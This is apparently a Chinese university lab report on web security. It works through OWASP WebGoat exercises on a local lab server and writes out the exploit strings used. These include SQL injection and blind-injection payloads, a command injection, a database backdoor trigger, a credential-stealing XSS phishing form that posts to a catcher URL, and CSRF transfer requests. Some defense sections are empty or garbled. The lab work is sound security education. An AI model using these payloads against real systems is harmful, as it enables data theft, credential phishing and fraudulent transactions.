1. SQL注入攻击原理,如何防御
原理:
防御:
‘
、--
、#
2. XSS攻击的原理,如何防御
原理:
防御:
javascript
这个关键字进行检索,一旦发现提交信息中包含javascript
,就认定为XSS攻击3. CSRF攻击原理,如何防御
原理:
CSRF(Cross site request forgery)
,即跨站请求伪造。我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。而CSRF确实,借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为跨站请求伪造防御:
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
在终端输入命令运行WebGoatjava -jar webgoat-container-7.0.1-war-exec.jar
Starting ProtocolHandler ["http-bio-8080"]
时,可进行下一步操作。使用过程中不要关闭终端http://127.0.0.1:8080/WebGoat/login.mvc
,如下图有登录的账号和密码,用guest登录即可show solution
显示答案,show hints
显示提示SQL注入攻击,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的攻击
①命令注入(Command Injection)
原理:
操作:
Inspect Element(Q)
审查网页元素,然后修改源代码Edit At Html
进行修改,添加"& ps -ef"
view
,就可以成功看到进程信息②数字型注入(Numeric SQL Injection)
原理:
SELECT * FROM weather_data WHERE station = [station]
操作:
Inspect Element(Q)
,然后修改源代码,进行SQL注入。在某个选项的value值后面,加上代码or 1=1
,使该式子成为永真式SELECT * FROM weather_data WHERE station = 101 or 1 = 1
,后面是永真式。所以这样会执行语句SELECT * FROM weather_data
,就可以成功查询到所有的信息③日志欺骗(Log Spoofing)
原理:
admin
成功登录admin <script>alert(document.cookie)</script>
作为用户名输入,能够获得登录用户的cookie
操作:
0D%
和换行符:%0A
,在username
中填入wyf%0d%0aLogin Succeeded for username: admin
,密码随意输入,点击登录就会出现两行,一行提示wyf
登录失败,另一行提示admin
登录成功,这些信息就会被保存到日志里,成功实现日志欺骗④字符串注入(String SQL Injection)
原理:
SELECT * FROM user_data WHERE last_name = ‘?‘
构造自己的 SQL 注入字符串‘
构成的。因此,我们在last name
中输入Smith‘ OR ‘1‘=‘1
,所有的用户信息被输出操作:
Smith‘ or 1=1--
,成功得到所有用户的信用卡号码Smith
和1=1
都成了查询的条件,而1=1
是恒等式,因此能查询到表里面的所有数据⑤SQL 注入(LAB: SQL Injection)
Stage 1: 字符串型注入(Stage 1: String SQL Injection)
原理:
操作:
inspect Element
审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20或更大hello‘ or ‘1‘ = ‘1
,成功得到所有人员列表Stage 3: 数字型 SQL 注入(Stage 3: Numeric SQL Injection)
原理:
操作:
Larry
和密码larry
登录,浏览员工信息的按钮是ViewProfile
value
改成101 or 1=1 order by salary desc
,使得老板的信息作为查询到的第一条数据⑥数据库后门(Database Backdoors)
原理:
insert
,select
,update
,delete
操作:
101
,我们可以看到插入查询语句的字符串没有经过任何处理,即可以输入多条语句进行增、删、改、查101; update employee set Password=20175217
执行,可以看见密码框成功变为了自己设置的密码101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘wyf@qq.com‘WHERE userid = NEW.userid
BEFORE
参数指定了触发执行的时间,表示在事件之前FOR EACH ROW
表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次⑦数字型盲注入(Blind Numeric SQL Injection)
原理:
SELECT * FROM user_data WHERE userid=accountNumber;
101 AND 1=1
,因为两个条件都成立,所以页面返回帐号有效101 AND 1=2
,因为第二个条件不成立,所以而页面返回帐号无效操作:
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );
可以告诉我们PIN数值是否大于10000Invalid account number
表示PIN<=10000
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) = 2364 );
2364
⑧字符串型盲注入(Blind String SQL Injection)
原理:
varchar
操作:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) <‘H‘ );
SUBSTRING(STRING,START,LENGTH)
Invalid account number
表示其PIN字段首字母≥H
J
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 2, 1) <‘h‘ );
Jill
跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。
①XSS 钓鱼(Phishing with XSS)
原理:
操作:
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
②存储型XSS攻击(Stored XSS Attacks)
原理:
操作:
title
中任意输入字符。在Message
中输入代码<script>alert(‘20175217wyf‘)</script>
title
中输入的字符,点击该链接,由其他人浏览,就会弹出一个对话框,写着20175217wyf
,证明XSS攻击成功<head>
<body>
<div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div>
<div style="float:left;height:100px;width:50%;background-color:orange;"></div>
</div> <div style="background-color:grey;height:200px;clear:both;"></div>
</div></div>
</form>
<script> function hack()
{
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.???ˉ???????????ˉ???????????ˉ???????????ˉ???????????ˉ???????????ˉ???????? Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish"> <br> <br> <HR>
<H2>This feature requires account login:</H2> <br>
<br>Enter Username:<br> <input type="text" name="user">
<br>Enter Password:<br> <input type="password" name = "pass"> <br>
<input type="submit" name="login" value="login" onclick="hack()">
</form> <br> <br> <HR>
</body>
</head>
③反射型XSS攻击(Reflected XSS Attacks)
原理:
操作:
<script>alert("hello");</script>
,点击Purchase
,成功显示警告框,内容为我们script脚本写的hello
CSRF就是冒名登录,核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中。攻击者并不关心被害者具体帐号和密码。因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器
①跨站请求伪造(Cross Site Request Forgery (CSRF))
原理:
<img src="http://www.mybank.com/sendFunds.do?acctId=123456"/>
时,它会使用指定的参数向www.mybank.com
的transferFunds.do
页面发送请求cookies
cookie
,甚至是当前会话的cookie
,网站将没有办法区分这是否是一个从合法用户发出的请求操作:
scr
和menu
在消息框中嵌入HTML代码<img src="http://localhost/WebGoat/attack?Screen=2078372&menu=900&transferFunds=5000" width="1" height="1" />
②绕过 CSRF 确认( CSRF Prompt By‐Pass)
原理:
CSRF Prompt By‐Pass
通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求操作:
Parameters
中的src
和menu
值分别为1471017872和900,并在title
框中输入学号,message
框中输入代码:<iframe src="attack?Screen=1471017872&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>
Message List
中生成以title
命名的链接,点击进入后,攻击成功? ? ? ?这次做的是Web安全基础,主要包含SQL注入攻击、XSS攻击和CSRF攻击,主要参考学姐的博客完成。实验主要是在WebGoat平台完成的,这个平台很稳定,功能强大,每个攻击的介绍也很清晰。因此,本次实验没有遇到很大的问题。最大的问题可能是GitHub限速的问题。WebGoat下载很慢费了很长时间,这个不知道有什么好的解决方法。
? ? ? ?通过本次实验,我实践并掌握了多种SQL注入攻击、XSS攻击和CSRF攻击技术,我接触到了更多的不同实际情况下的各种对web的攻击,使我对网络攻击的方法和原理有了更深层次的理解。在这个实践的过程中我也感受了很多现实情况下对漏洞的侵害,提高了我对网络风险的认识。
? ? ? ?本学期的最后一个实验了,突然要结束了,想想这个学期做了这么多实验也是不容易,但现在看看也是很有成就感的吧,也学到了很多东西。经过这个学期的学习实验,我觉得学习网络技术最重要的就是各方面基础知识的广泛收集掌握能力和自己动手自学实践能力,这些相信这些能力不仅仅局限于这门课,在今后的学习生活中都会很有用的。
2019-2020-2 网络对抗技术 20175217 Exp9 Web安全基础
原文:https://www.cnblogs.com/wyf20175217/p/12906039.html